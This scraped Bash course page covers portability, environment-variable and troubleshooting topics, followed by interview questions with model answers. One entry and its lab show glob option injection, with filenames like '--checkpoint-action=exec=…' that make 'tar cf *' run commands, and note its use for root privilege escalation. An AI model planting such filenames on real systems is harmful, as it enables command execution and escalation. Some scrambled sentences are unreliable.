for c in date sed grep stat readlink find xargs sort; do printf '%-9s ' "$c"; ( $c --version 2>&1 || true ) | head -1; done ls -l /bin/date # is it a symlink to busybox?
if date -d @0 >/dev/null 2>&1; then # capability detection, not detection of the OS name yesterday=$(date -u -d '1 day ago' +%F) # GNU else yesterday=$(date -u -v-1d +%F) # BSD / macOS fi grep -E 'a+' file # prefer POSIX ERE over -P apk add --no-cache coreutils grep sed findutils # Alpine container: install the GNU versions
jq (Lesson 7 Module 7).date -u +%FT%TZ), avoiding time zones and daylight saving time.~/bashlab/lab8/pb48-gnu-bsd.shdate -d '1 day ago' +%F 2>&1 || true date -v-1d +%F 2>&1 || true # compare by running locally and with docker run --rm -v "$PWD":/w -w /w bash:5.3 bash pb48-gnu-bsd.sh
$ X=1; bash -c 'echo "child X=[$X]"'; export X; bash -c 'echo "child X=[$X]"' child X=[] child X=[1]
Symptom:① a variable set in the script AWS_PROFILE=prod / KUBECONFIG=… / http_proxy=…,aws,kubectl,curl still uses the default; ② after running ./set-env.sh the terminal variable does not change; ③ in a function or pipeline / subshell, export is not visible to the caller (#15). Consequence: you think you are on staging but are actually on prod.
Root cause: A variable that is not exported is a shell variable that exists only in the current shell; only environment variables are copied to a child process when it execve starts. Running a script starts a new process, so the changes vanish; source (.) runs in the current shell. The environment only flows from parent to child.
declare -p AWS_PROFILE # declare -- (shell variable) vs declare -x (exported) env | grep -E '^(AWS_|KUBECONFIG|http_proxy)' tr '\0' '\n' < /proc/PID/environ | grep AWS_ # the environment the child process actually receives
export AWS_PROFILE=staging # variables that must be passed to child processes AWS_PROFILE=staging aws sts get-caller-identity # applies to one command only (safer) source ./set-env.sh # modifies the current shell's environment aws sts get-caller-identity --query Account --output text # print the identity, account / subscription / context before operating
kubectl config current-context), and pass parameters explicitly (--profile,--subscription,--context), rather than relying on environment variables.env -i or l8_cronlike to test environment dependencies.~/bashlab/lab8/pb49-export.shX=1; bash -c 'echo "child X=[$X]"'
export X; bash -c 'echo "child X=[$X]"'
printf 'export Y=42\n' > /tmp/env.$$; bash /tmp/env.$$; echo "after exec Y=[${Y:-}]"; source /tmp/env.$$; echo "after source Y=[$Y]"; rm -f /tmp/env.$$
See Lesson 1 Module 7: Variables, environment and subshells.
$ touch a.txt -- '--checkpoint=1' '--checkpoint-action=exec=echo PWNED' $ tar cf ../x.tar * PWNED $ touch -- -rf important.txt; echo rm * rm -rf important.txt
Symptom: Running tar cf … *,chown -R user *,rsync … *,rm * in a user-writable directory (uploads, shares, build artifacts, Git repositories): an attacker creates a file whose name begins with - to inject options: rm (recursion),tar arbitrary command execution,chown following symlinks (--reference / -h). A cron backup script running as root is a classic privilege-escalation path.
Root cause: Globs expand before the command sees its arguments, so names in the result such as -rf,--checkpoint-action=… cannot be distinguished from real options. This is not a Bash bug; it is a design problem of putting untrusted filenames straight into the argument list.
find /srv/uploads -maxdepth 1 -name '-*' # any filenames starting with -? shellcheck backup.sh # SC2035: Use ./*glob* or -- *glob* so names with dashes won't become options.
tar cf backup.tar -- * # -- ends option parsing tar cf backup.tar ./* # or use the ./ prefix: ./-rf cannot be taken as an option tar -C /srv/uploads -cf backup.tar . # better: no glob; let tar walk the directory itself rm -- "$f"; rm ./*.tmp
./ and variable arguments are prefixed with -- (#1); make ShellCheck SC2035 a must-pass.runuser -u,setpriv) with least privilege.~/bashlab/lab8/pb50-option-injection.shcd ~/bashlab/lab8/sandbox || exit 1 touch a.txt -- '--checkpoint=1' '--checkpoint-action=exec=echo PWNED' tar cf ../pb50.tar * # prints PWNED tar cf ../pb50.tar ./* # fix: no longer executes; finally rm -f ../pb50.tar
See Lesson 4 Module 7 Security: injection, eval, globbing and untrusted input,Lesson 5 Module 4: Safe filename handling.
Start from the first symptom you see; every conclusion links to the matching problem details.
dash (bundled with Ubuntu); optionally Docker (bash:3.2,bash:5.3). source ~/bashlab/lab8/lab8.sh && l8_sandbox.printf '#!/usr/bin/env bash\necho "PATH=$PATH"\ncommand -v jq || echo "jq not in PATH"\narr=(a b); echo "${arr[1]}"\n' > job.sh && chmod +x job.sh
l8_cronlike ./job.sh
sh job.shPATH=/usr/bin:/bin
jq not in PATH
b
job.sh: 4: Syntax error: "(" unexpectedl8_cronlike runs via /bin/sh -c "./job.sh" executes, the shebang takes effect, so Bash is used; sh job.sh bypasses the shebang and runs under dash. dash hits a syntax error after already running the first 3 lines; their output is omitted here.
printf 'echo "$BASH_VERSION"\ndeclare -A m 2>&1 | head -1\nx=ABC; echo "${x,,}"\n' > v.sh
docker run --rm -v "$PWD":/w -w /w bash:3.2 bash v.sh
docker run --rm -v "$PWD":/w -w /w bash:5.3 bash v.sh
docker run --rm bash:5.3 date -d '1 day ago'3.2.57(1)-release
v.sh: line 2: declare: -A: invalid option
v.sh: line 3: ${x,,}: bad substitution
5.3.20(1)-release
abc
date: invalid date '1 day ago'bash -xc 'TOKEN=s3cr3t; curl_args="-H Authorization:$TOKEN"; : $curl_args' 2>&1 | grep -c s3cr3t
bash -xc '{ set +x; } 2>/dev/null; TOKEN=s3cr3t; : "$TOKEN"' 2>&1 | grep -c s3cr3t3 0
mkdir inj && cd inj && touch a.txt -- '--checkpoint=1' '--checkpoint-action=exec=echo PWNED' tar cf ../x.tar *; tar cf ../y.tar ./*; tar tf ../y.tar | head -3; cd ..
PWNED ./--checkpoint-action=exec=echo PWNED ./--checkpoint=1 ./a.txt
The second run uses ./*, the dangerous filename is archived as an ordinary file, and nothing is executed. tar tf 's list order depends on glob sorting and locale.
l8_clean; rm -f ~/bashlab/lab8/x.tar ~/bashlab/lab8/y.tar
No verified video was found that specifically covers Bash 3.2 compatibility, xtrace secret leaks and glob option injection. Storyboard:
l8_cronlike fails with jq: not found; print the env of both sides and diff.sh deploy.sh reports Syntax error: "(" unexpected; readlink -f /bin/sh shows dash; change it to ./deploy.sh.--checkpoint-action=exec=… file in the upload directory; root's backup script tar cf … * executes it; change it to tar -C dir -cf … .."$@",[ ]/[[ ]]/(( )),source and exec, shebang and versionscd must be a builtin, why variables changed in a pipeline are lost, why sudo echo > file does not work, 2>&1 >file and >file 2>&1 differ.Browse the questions and their focus first, mark the ones you are unsure of; click a row to jump to the details.
grep -c "$pat" *.log > count.txt and press Enter: what does Bash do from reading this line to obtaining the exit code?IntermediateRead the line → tokenize (words / operators; quoting defines boundaries) → alias (only interactively, or when expand_aliases is set) → expansion (brace, tilde, parameter / arithmetic / command substitution, splitting, pathname, quote removal) → redirection (open count.txt) → lookup (function → builtin → PATH hash / search) → external command fork, the child process runs after redirection; execve a builtin runs in the current shell → the parent wait, the status is stored in $?.
"$pat" one word,*.log expands into several (#5, #6).execve before the command starts, as the current user (hence #43); on failure it does not run and the exit code is 1.grep 1 means no match (#22); 126 not executable; 127 not found; 128+N killed by signal N.set -x; grep -c "$pat" *.log > count.txt; set +x # see the argv after expansion strace -f -e trace=clone,clone3,execve,openat,dup2,wait4 bash -c 'grep -c x *.log > c.txt'
hash table: after a new version is installed in an earlier directory, the old path is still used until hash -r is cleared.*.log No match? is passed to grep as is by default (#6); it can be changed with nullglob/failglob .Corresponding Part A items: #1/#5 splitting, #6 globbing, #13 CRLF's \r, #43 redirection identity, #45 (126), #39 (127).
“The shell hands the whole line to grep to parse” — grep only receives the expanded argv and never sees quotes or wildcards.
① brace → ② tilde → ③ parameter, arithmetic and command (and process) substitution, left to right at the same level → ④ word splitting → ⑤ pathname expansion → ⑥ quote removal. Only ①④⑤ change the number of words.
n=3; echo {1..$n} output {1..3} ($n is still a literal), so use seq or a C-style for.~ in a variable value is not expanded (#7).x=$y is safe; local x=$(…) it still has the exit-code issue (#27).n=3; echo {1..$n}; echo $(seq 1 "$n")
v='*'; echo $v; echo "$v"
read,"$*" joining; literal words are not affected.$'…' Which step does belong to? It is quoting (ANSI-C quoting), handled in the lexical stage.Recite the original order in the manual's “Shell Expansions”; the 5.3 ${ cmd; } also counts as command substitution, except that it does not fork.
“Expand variables before braces” —{1..$n} failing to work is proof of the contrary.
See Lesson 1 Module 4: The seven expansion steps and their order.
$'…', and backslashes? How do you put a single quote inside a single-quoted string?BeginnerSingle quotes: fully literal, no expansion, cannot contain a single quote. Double quotes: $, backticks,\ (before certain characters),! (interactive history) are still special, with no splitting and no globbing. $'…': ANSI-C quoting, which supports \n \t \r \x41 \' escapes such as the ones shown. Backslash: escapes the next character.
echo 'It'\''s fine' # end the single quote → escaped ' → start a new single-quoted section echo $'It\'s fine\tTAB' # ANSI-C quoting printf '%s\n' "$HOME" '$HOME' # expansion vs literal grep -c $'\r' file # look for carriage returns (#13)
"$(…)" inside it is a new quoting context, so double quotes can be nested: "$(dirname "$f")".$"…" is a localized translation string, rarely used; do not confuse it with $'…' .[[ ]] the left side of case words; [[ $x == $pattern ]] in pattern matching, do not quote the right side (quoting makes it a literal comparison).printf '%q', and Bash 4.4's ${var@Q} produce strings that can be safely passed back to the shell (#11).
“Nothing is expanded inside double quotes” or “inside single quotes you can escape a single quote with a backslash”.
type -a What does cd,read, and export tell you? Why must these be builtins?BeginnerAliases, keywords (if [[ while function), functions, builtins (cd read echo printf test/[) and external commands (files in PATH); lookup follows this order; type -a name use type -a to list all definitions with the same name. Commands that change the current shell state (directory, variables, environment, options) must be builtins: a child process cannot change its parent.
type -a echo test [ [[ cd time command -v jq # detect in scripts whether a command exists (POSIX) command ls; builtin cd /tmp; \ls # skip functions and aliases
[[ is a keyword; its operands' boundaries are known at parse time, so there is no splitting or globbing (#4); [ is a builtin; its arguments are expanded first.echo has both a builtin and /usr/bin/echo,-e,-n behave differently; for portable output, use printf.time is a keyword that can time the entire pipeline; /usr/bin/time is an external command.echo,kill,read,exec).timeout Why can't you run a function? It is an external program, so it can only run execvp files (#38).A function with the same name can "hijack" a command (ls(){ …; }): safe scripts use command/ absolute paths, begin with unalias -a, and do not trust functions exported by callers (the Shellshock-era BASH_FUNC_* environment-variable mechanism).
“[ "Treating [[ as the same, just written differently."
( … ) What is the difference between { …; } ? And $$ versus $BASHPID ?IntermediateSources of subshells: ( … ),$( … ), each pipeline segment (the last one by default), background &, process substitution <( … ), coprocess; { …; } run in the current shell. Changes to variables, directories, options or traps in a subshell do not affect the parent shell. $$ $$ always gives the main shell's PID,$BASHPID $BASHPID is the real PID of the current (sub)shell.
x=1; ( x=2; cd /tmp ); echo "$x $PWD" # 1, the original directory
x=1; { x=2; cd /tmp; }; echo "$x $PWD" # 2 /tmp
echo "$$ $BASHPID"; ( echo "$$ $BASHPID" )
while read loses variables (#15); inside a subshell, exit exit only leaves the subshell; $( ) does not inherit by default set -e (from 4.4 there is inherit_errexit).( cd dir && make ) to isolate directories; ( set +e; risky ) to locally turn off options.$(…) inside a loop is slow; Bash 5.3's ${ cmd; } does not fork (Lesson 7 Module 5).lastpipe When does it take effect? When job control is off (non-interactive scripts), the last pipeline segment runs in the current shell.Draw the pipeline process structure (Figure 2-1), and explain why the same code works in zsh/ksh.
“Braces are also a subshell”, or “$$ changes inside a subshell.”
export,VAR=x cmd,env, and declare -x — what does each do?BeginnerA shell variable is limited to the current process; an environment variable lives in the process environment block and is copied to child processes when execve a child process is started. export VAR ( declare -x) marks an export; VAR=x cmd applies only to that command; env -i cmd runs in an empty environment. The environment only flows from parent to child, so you need source to “load” variables (#49).
X=1; bash -c 'echo "[$X]"'; export X; bash -c 'echo "[$X]"' # [] [1] declare -p X # declare -x X="1" LC_ALL=C sort file # affects only sort env -i PATH=/usr/bin:/bin ./job.sh # simulates cron (#39)
VAR=x func: behavior differs in POSIX mode (special builtins keep assignments); do not rely on it./proc/PID/environ , or env printed into logs (#46).export -f f, passed via BASH_FUNC_f%% environment variables; only a child bash can use it (#38).Relate the precedence and safety of command-line arguments, environment variables and config files (Q23).
“export writes the variable into .bashrc to make it permanent”.
See Lesson 1 Module 7.
Interactive login: /etc/profile, then reads ~/.bash_profile,~/.bash_login,~/.profile the first one that exists among ~/.bash_logout. Interactive non-login: ~/.bashrc (distributions often add /etc/bash.bashrc). Non-interactive (scripts): reads only $BASH_ENV the file pointed to by BASH_ENV, usually nothing. When invoked as sh name, it imitates POSIX sh (reads /etc/profile,~/.profile or $ENV).
~/.bash_profile in source ~/.bashrc, login shells also have interactive configuration.sshd runs ssh host cmd Bash reads ~/.bashrc (depends on build options; follow the actual output), so .bashrc the start of the file often says “return if non-interactive”.bash --noprofile --norc explicitly does not read them.echo "$-"; shopt -q login_shell && echo login || echo non-login bash -lc 'echo $PATH' # run as a login shell (reads profile)
Environment=/EnvironmentFile= and the manager's environment; shell startup files are not read.BASH_ENV BASH_ENV is an attack surface (after injection, every non-interactive bash runs it first); in containers and CI, make sure it is unset.
“A bash script executes ~/.bashrc first.”
See Lesson 1 Module 1: Interactive vs script, and startup files.
0 success; 1 general error; 2 usage error (builtin convention); 126 found but not executable (permissions, noexec, is a directory); 127 not found; 128+N terminated by signal N (130 Ctrl-C, 137 SIGKILL/OOM, 141 SIGPIPE, 143 SIGTERM); timeout timeout 124. Only 8 bits (#47).
readonly E_OK=0 E_GENERIC=1 E_USAGE=2 E_DEPS=3 # opsctl's convention
usage() { echo "usage: opsctl <command> [options]" >&2; exit "$E_USAGE"; }
command -v jq >/dev/null || { log::error "jq required"; exit "$E_DEPS"; }
rc=0; some_cmd || rc=$?; (( rc > 128 )) && echo "killed by $(kill -l $((rc-128)))"
PIPESTATUS,pipefail (#28); ! negation with !; if/&& consumption of exit codes.sysexits.h conventions), avoid values that conflict with 126+; do not use exit codes to return data.OOMKilled field and kernel logs.Callers (CI, systemd SuccessExitStatus=, monitoring) route by exit code: 124 retry, 1 alert, 2 fix the usage.
“Any non-zero is just failure”—losing the diagnostic information.
See Lesson 1 Module 6,Lesson 3 Module 6 Exit code conventions.
cmd >file 2>&1 and cmd 2>&1 >file ? How do you send only stderr into a pipe?IntermediateRedirections are processed left to right,2>&1 i.e. “fd 2 copies fd 1 as it points at this point's destination”. >file 2>&1: with >file 2>&1, 1 points to the file first, then 2 copies it, so both go to the file. 2>&1 >file: with 2>&1 >file, 2 first points to the original stdout (terminal), then 1 points to the file, so only stdout goes to the file.
cmd 2>&1 >/dev/null | grep ERROR # send only stderr into the pipe; discard stdout cmd &> all.log # Bash shorthand, equivalent to >all.log 2>&1 cmd |& tee all.log # Bash 4+: equivalent to 2>&1 | exec 3>>"$log"; echo "to fd3" >&3; exec 3>&- # open, use and close a custom fd exec > >(tee -a "$log") 2>&1 # inside a script: all output from now on is also written to the log
2>&1 >/dev/null | in the command above, fd 2 copies the pipe.out=$(opsctl …) only data is captured.> What is the difference between >> and concurrent writes? >> is O_APPEND (#37).noclobber? set -C Prevents > overwriting an existing file,>| forces overwriting.use ls -l /proc/$$/fd or strace -e dup2 to prove it on the spot; {fd}>file automatically allocate fds (Bash 4.1+).
“The two are the same; order does not matter.”
"$@","$*",$@, and $* what is the difference? Write a wrapper script that forwards arguments.Beginner"$@": each argument stays one word, preserved as-is; use it for forwarding only; "$*": joins them with the first character of IFS into one string, for logging; unquoted $@/$* will be split and globbed again; this is almost always wrong (#10).
#!/usr/bin/env bash
# kubectl wrapper: force the context, forward the remaining arguments as-is
set -euo pipefail
ctx=${KCTX:?set KCTX}
log() { printf '%s %s\n' "$(date -u +%FT%TZ)" "$*" >&2; }
log "kubectl --context $ctx $*"
exec kubectl --context "$ctx" "$@"
"${arr[@]}" vs "${arr[*]}"; "${@:2}" takes the arguments from the 2nd one onward; $# the count; shift.exec replace the wrapper script, so signals and exit codes go straight to the target program (#33).ssh h "cmd $(printf '%q ' "$@")" (#11).Use printf '<%s>\n' "$@" to demonstrate the boundary on the spot.
“$* and $@ make no difference.”
[ ],[[ ]], and (( )) What is the difference between them, and when should each be used?Beginner[ (= test): POSIX builtin; arguments are split and globbed first, variables must be quoted; use =,-eq,-a/-o (not recommended). [[ ]]: keyword; no splitting or globbing; supports == patterns,=~ regex,&& ||,< > string comparison. (( )): arithmetic evaluation with C-style operators; a non-zero result returns 0.
[ -n "$v" ] && [ "$a" = "$b" ] # POSIX sh
[[ $file == *.log && -s $file ]] # pattern matching + file test
[[ $ver =~ ^v([0-9]+)\.([0-9]+)$ ]] && echo "major=${BASH_REMATCH[1]}"
(( retries < max )) && retries=$((retries+1))
[[ 10 < 9 ]] is a string comparison (#17); [[ $x == "$p" ]] quoting the right side makes it a literal comparison; =~ do not quote the right side of a regex; store complex regexes in a variable first.(( )) a result of 0 returns 1,set -e so be careful under set -e (#30); validate untrusted input before arithmetic (#8).[; [[ reports [[: not found (#40).Explain [ -n $v ] why an empty value is true in POSIX (#4).
“[[ “It's just a newer version [; the usage is the same.”
source script,./script,bash script,exec script What is the difference?Intermediatesource/.: runs line by line in the current shell and can change the current variables, directory and functions; ./script: a new process; the kernel picks the interpreter from the shebang; requires the execute bit; bash script: a new process; forces bash, ignores the shebang, and does not need the execute bit; exec script: replaces the current shell process (PID unchanged); the code after it does not run.
exit exit will quit the interactive shell; use return for library files; to test whether a script was sourced: [[ ${BASH_SOURCE[0]} != "$0" ]].sh script interpreted with sh (#40); bash script bypassing #!/usr/bin/env python3 the shebang, so Python is run as if it were Bash.exec Use cases: the final step of a container entrypoint, wrapper scripts; exec >log only changes redirections, without replacing the process.if [[ ${BASH_SOURCE[0]} == "$0" ]]; then main "$@"; fi # both executable and testable when sourced (bats)
./set-env.sh Why is it ineffective? A child process cannot change the parent's environment (#49).Connect the "sourceable main guard" with unit-testing functions in bats (Q34).
“They are all the same, just written differently.”
#!/bin/sh,#!/bin/bash,#!/usr/bin/env bash How do you choose? Do the differences between Bash 3.2 / 5.2 / 5.3 affect you?SeniorIf you use Bash features, declare Bash: #!/usr/bin/env bash find bash via PATH, which is more portable on macOS (Homebrew), NixOS, FreeBSD (/usr/local/bin/bash) and is more portable; #!/bin/bash a fixed path that PATH cannot influence, suitable for system scripts run as root. Use pure POSIX only #!/bin/sh, and test with dash. At runtime, use BASH_VERSINFO to check the minimum version.
/bin/bash): no associative arrays,mapfile,${x,,}, nameref,set -u under set -u an empty array errors (#41)."${arr[@]}" An empty array under set -u no longer errors; also inherit_errexit,${var@Q},mapfile -d.patsub_replacement (in replacement strings & by default refers to the matched text, which may affect old scripts),varredir_close and others.${ cmd; } / ${| cmd; },GLOBSORT,BASH_TRAPSIG,read -E,source -p,array_expand_once.env Shebang arguments are not portable (on Linux the #!/usr/bin/env bash -e argument string bash -e is taken as one program name; GNU env -S splits it (the error in #13 also hints at this); options go into the script's set.#!/usr/bin/env bash
set -Eeuo pipefail
(( BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4) )) || { echo "need bash >= 4.4" >&2; exit 3; }
env What are the security risks of the env-based shebang? when run as root, a tampered PATH can execute a malicious bash; system scripts use an absolute path or run under sudo secure_path with a fixed PATH.Know patsub_replacement the options that change old behavior; you can use BASH_COMPAT / shopt -s compat42 compatibility levels to temporarily restore old behavior.
“#!/bin/sh “/bin/sh is bash”—on Debian/Ubuntu/Alpine it is not.
A release.sh: the developer runs it fine; in Jenkins' sh 'sh release.sh' it reports Syntax error: "(" unexpected; in cron it reports aws: command not found; in an Alpine container date -d fails. Give a systematic troubleshooting approach and a one-time root-cause fix.
sh → dash, #40), the environment (cron's minimal PATH, #39), tool implementations (BusyBox, #48).readlink -f /bin/sh,$BASH_VERSION,env,date --version; reproduce locally with env -i and the target container../release.sh; set PATH/LC_ALL at the start of the script,util::require_cmd aws jq date check dependencies and exit 3 if missing; declare supported platforms, install GNU coreutils in the container image or switch to portable code; in CI run the bats tests and shellcheck.source ~/.bashrc”in scripts. Some people, so that scripts can use kubectl aliases and nvm's node, added source ~/.bashrc to all scripts. Explain the problem and give an alternative.
.bashrc is meant for interactive shells; scripts often detect non-interactive mode at the top and return (so nothing is loaded); even if it is loaded, it brings in each person's different aliases, functions and set options, pollutes stdout with prompts, slows startup, and makes the behavior depend on who runs it (#42, Q7).make bootstrap -style environment setup commands.Third-party videos may be based on older Bash versions (for example not covering 5.3 features); follow this lesson and the GNU Bash manual. It is recommended to record a mock interview and review your own answers.
lib/ modules,module::function naming, exit-code conventions) to answer “how do you organize a 2000-line ops script?”Browse the questions and their focus first; click a row to jump to the details.
One entry point + multiple libraries: bin/opsctl only does strict mode, locates the directory, loads libraries, parses global options, and dispatches subcommands; lib/log.sh (logs go to stderr),lib/util.sh (util::die,util::require_cmd),lib/config.sh (configuration merging, Q23), one per subcommand lib/cmd_<name>.sh (functions cmd::<name>); unified help, exit codes (0/1/2/3) and configuration load order; test/*.bats, CI enforces it with ShellCheck + shfmt.
#!/usr/bin/env bash
set -Eeuo pipefail
OPSCTL_HOME=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd -P)
source "$OPSCTL_HOME/lib/log.sh"; source "$OPSCTL_HOME/lib/util.sh"; source "$OPSCTL_HOME/lib/config.sh"
main() {
local cmd=${1:-help}; shift || true
case $cmd in
-h|--help|help) cmd::help; return ;;
esac
[[ $cmd =~ ^[a-z][a-z0-9-]*$ && -f $OPSCTL_HOME/lib/cmd_${cmd//-/_}.sh ]] || { log::error "unknown command: $cmd"; cmd::help >&2; return 2; }
source "$OPSCTL_HOME/lib/cmd_${cmd//-/_}.sh"
"cmd::${cmd//-/_}" "$@"
}
[[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@"
opsctl servers list --env prod | xargs …).source source the file and unit-test its functions.Cite the Google Shell Style Guide: lowercase function names + :: modules,main function names; uppercase constants with readonly, local variables local, and consider switching languages beyond about 100 lines.
“One big file written from top to bottom, passing arguments through globals”.
See Lesson 3 Module 6: Subcommand-style CLI design,Lesson 3 Module 8: opsctl v0.1.
getopts: a POSIX builtin, short options only (-e prod -v, combined -ve prod), portable and safe. getopt (the util-linux enhanced version): an external command that supports long options and argument reordering, but older BSD/macOS does not support long options and mishandles spaces. For long options, the most portable choice is to hand-write while/case.
env=dev verbose=0
while (( $# )); do
case $1 in
-e|--env) env=${2:?--env needs a value}; shift 2 ;;
--env=*) env=${1#*=}; shift ;;
-v|--verbose) verbose=1; shift ;;
-h|--help) usage; exit 0 ;;
--) shift; break ;;
-*) echo "unknown option: $1" >&2; usage >&2; exit 2 ;;
*) break ;;
esac
done
[[ $env =~ ^(dev|staging|prod)$ ]] || { echo "bad env: $env" >&2; exit 2; }
while getopts ':e:vh' opt; do case $opt in e) env=$OPTARG;; …; :) echo "-$OPTARG needs a value";; \?) echo "bad option -$OPTARG";; esac; done; shift $((OPTIND-1)); calling it several times inside a function requires local OPTIND.-- the arguments after See above --) branch; for the remaining arguments, use "$@" to forward them (Q10).Merge options, environment variables and config files by precedence (Q23); write bats tests for the help output.
“Taking by position directly $1 $2”—it breaks as soon as the order changes.
return, command substitution, nameref and global variables each have what trade-offs?Intermediatereturn It only returns a 0–255 status (#47). To return data: ① print to stdout and then x=$(f): the most common, but with subshell overhead, trailing newlines stripped, and variable changes inside the function lost; ② nameref (4.3+,local -n out=$1) writes directly into the caller's variable, suitable for arrays; ③ a global variable by convention (e.g. REPLY); ④ Bash 5.3's ${| f; } runs in the current shell and takes REPLY, without forking.
get_hosts() { # nameref returns an array
local -n _out=$1; local env=$2
mapfile -t _out < <(awk -F, -v e="$env" 'NR>1 && $2==e {print $1}' ~/bashlab/data/servers.csv)
}
get_hosts hosts prod; printf '%s\n' "${hosts[@]}"
upper() { REPLY=${1^^}; }; v=${| upper "abc"; }; echo "$v" # Bash 5.3
local -n ref=ref reports circular name reference); prefix local variables _.x=$(f) || return (#27).eval "$1=\$value"? Injection risk (#11); nameref is the safe alternative.Bash 5.3's ${ cmd; } / ${| cmd; } is designed for “taking the return value without forking”; older versions still need the traditional approach.
“Use return "$string"”.
See Lesson 3 Module 3: Output and return values: command substitution, return and nameref.
local have? What bugs can “dynamic scope” cause?SeniorBash uses dynamic scope: it searches up the call stack (not the source structure) for the nearest definition. local x With x visible in this function and all functions it calls, and restored on return. Consequences: a called function may accidentally modify the caller's locals; forgetting local pollutes the global scope.
log_count() { count=$((count+1)); } # forgot local; the intent was to modify the "global" count
process() { local count=0; log_count; echo "process sees count=$count"; }
count=100; process; echo "global count=$count"
# output: process sees count=1 / global count=100: log_count modified process's local
local; library function locals get a prefix (_log_level) to avoid conflicts; to modify the caller's variables, use nameref explicitly (Q16).local Only inside functions; inside a function declare is equivalent to local (declare -g declares global).local x=$(cmd) has the exit code issue (#27).Know shopt -s localvar_inherit (5.0+),localvar_unset and similar options that adjust local-variable semantics, but do not usually rely on them.
“local is lexically scoped, like in other languages”.
See Lesson 3 Module 2: Scope: local, dynamic scope and global variables.
Indexed arrays: ordered lists (host lists, command arguments #10,mapfile lines read in). Associative arrays (4+, must be declared with declare -A) are key-value maps (host → PID, counts, deduplicated sets). Common mistakes: ① iterating over ${arr[@]} without quotes; ② forgetting declare -A, so all keys evaluate arithmetically to index 0; ③${#arr} is the length of the first element; the number of elements is ${#arr[@]}.
declare -A seen=(); for ip in "${ips[@]}"; do seen[$ip]=1; done; echo "${#seen[@]} unique"
m[foo]=1; m[bar]=2; declare -p m # missing declare -A: declare -a m=([0]="2") (keys evaluate arithmetically; foo and bar are both 0)
arr=(a "b c"); echo "${#arr[@]} ${#arr}" # 2 1
for k in "${!m[@]}" sort afterwards.unset 'arr[1]' after an unset, indices are not contiguous; iterate over indices with "${!arr[@]}" ; unset quote the arguments to prevent globbing.f "${arr[@]}" (by value), or nameref (by reference).Untrusted input used as keys has injection risk in arithmetic contexts; Bash 5.3's array_expand_once is designed to reduce “expanding the subscript twice”.
“A Bash array is just a space-separated string”.
*.log and compresses them, safe for any filename.Intermediatefind Output NUL-separated filenames and hand them to xargs -0 or while IFS= read -r -d '', with all arguments prefixed by --; or directly use find … -exec cmd -- {} +. Do not parse ls, and do not use for f in $(find …) (#5, #23).
find "${LOG_DIR:?}" -type f -name '*.log' -mtime +7 -print0 |
xargs -0 -r -n 100 gzip -- # batch
find "${LOG_DIR:?}" -type f -name '*.log' -mtime +7 -exec gzip -- {} + # no pipe needed
while IFS= read -r -d '' f; do # when each file needs complex processing
size=$(stat -c %s -- "$f") # GNU stat; BSD uses stat -f %z
(( size > 0 )) && gzip -- "$f"
done < <(find "${LOG_DIR:?}" -type f -name '*.log' -mtime +7 -print0)
-mtime +7 means "modified more than 7×24 hours ago (truncated to whole days)"; be clear about the boundary.-print dry-run, then execute; for deletion, use find … -delete (last), and quote paths with ${var:?} (#2).find failures in the producer are not set -e caught.touch $'a\nb.log'; ~/bashlab/data/files/ is designed precisely for this.logrotate or journald is the real answer; the script is only a fallback (Lesson 6 Module 5).
for f in $(find . -name "*.log"); do gzip $f; done.
See Lesson 5 Module 4.
One awk pass scans and aggregates, without using grep | cut | sort | uniq to read the file repeatedly; in the combined format: $1 is the IP,$9 is the status code (the request line is quoted; after splitting on spaces, the status code is field 9, provided the request line has no unusual spaces). Fix the sort order LC_ALL=C.
LC_ALL=C awk '
{ ip[$1]++; total++; if ($9 ~ /^5/) err++ }
END {
printf "total=%d 5xx=%d ratio=%.2f%%\n", total, err, total ? err*100/total : 0
for (i in ip) print ip[i], i | "sort -rn | head -10"
}' ~/bashlab/data/access.log
awk -F'"' '{split($3, a, " "); status=a[1]}', split on quotes, unaffected by the User-Agent or spaces in the request line.LC_ALL=C significantly speeds up sort/grep; for multiple files use zcat -f access.log*; for a time window, first filter timestamps with awk.jq -r '[.remote_addr, .status] | @tsv' then aggregate; do not parse JSON with regex.Explain when not to run this on the server: logs should go to a centralized system (Loki / Elasticsearch / Log Analytics), and the script is only for emergencies.
grep -c ' 50[0-9] ' access.log— it matches response byte counts: on the Lesson 1 dataset (611 lines, 28 real 5xx entries) it counts 29; the extra one is line 52, with status 201 and 506 bytes. Judge by field ($9 or by the status code after splitting on quotes).
For JSON, use jq, and for YAML use yq (mikefarah version, syntax close to jq); both allow arbitrary whitespace, newlines, escapes and key order, so regexes will eventually fail. Key points: -r output raw strings,-e fail on missing values (#25),--arg/--argjson pass variables in (do not build the jq program),@sh/@tsv and hand off safely to the shell.
jq -r --arg env prod '.[] | select(.env == $env) | [.name, .ip] | @tsv' ~/bashlab/data/inventory.json | while IFS=$'\t' read -r name ip; do echo "$name -> $ip"; done jq --arg v "$version" '.image.tag = $v' values.json > values.json.tmp && mv values.json.tmp values.json yq -i '.replicas = 3' ~/bashlab/data/config.yaml # mikefarah yq v4 (latest verified: v4.54.3)
yq (the Python version is a jq wrapper with different arguments); check in the script yq --version.jq … f > f (the redirection truncates the input first).python3 -c 'import json…'); do not fall back to regex.Prefer the built-in --query (JMESPath) + -o tsv to reduce dependencies, and handle None/ empty values (Lesson 6 Module 2).
grep '"ip"' resp.json | cut -d'"' -f4.
Simple CSV (no quotes, no embedded commas or newlines) can be handled with IFS=, read -r or awk -F,. Real CSV has commas inside quotes (servers.csv on that line), newlines inside fields, escaped quotes "", BOM, CRLF (#13), empty fields; switch to a tool that understands RFC 4180: mlr (Miller),csvkit, Python csv,duckdb.
head -1 ~/bashlab/data/servers.csv | od -c | head -2 # check the BOM (357 273 277) and \r
awk -F, 'NF != 5 {print "line " NR " has " NF " fields"}' ~/bashlab/data/servers.csv # on line 11 of the Lesson 1 dataset, "web,api" makes it 6 fields
mlr --icsv --ojson filter '$env == "prod"' ~/bashlab/data/servers.csv # correct parsing
python3 -c 'import csv,sys; [print(r["name"]) for r in csv.DictReader(sys.stdin) if r["env"]=="prod"]' < ~/bashlab/data/servers.csv
--csv (gawk 5.3+, follow the actual output) handles quoted fields correctly." becomes ""; or use jq's @csv.Write the boundary detection itself as tests: run bats in CI against sample CSVs that contain all the boundaries.
“CSV is just comma-separated; cut -d, -f2 is enough”.
See Lesson 5 Module 7: CSV and the boundaries of structured data.
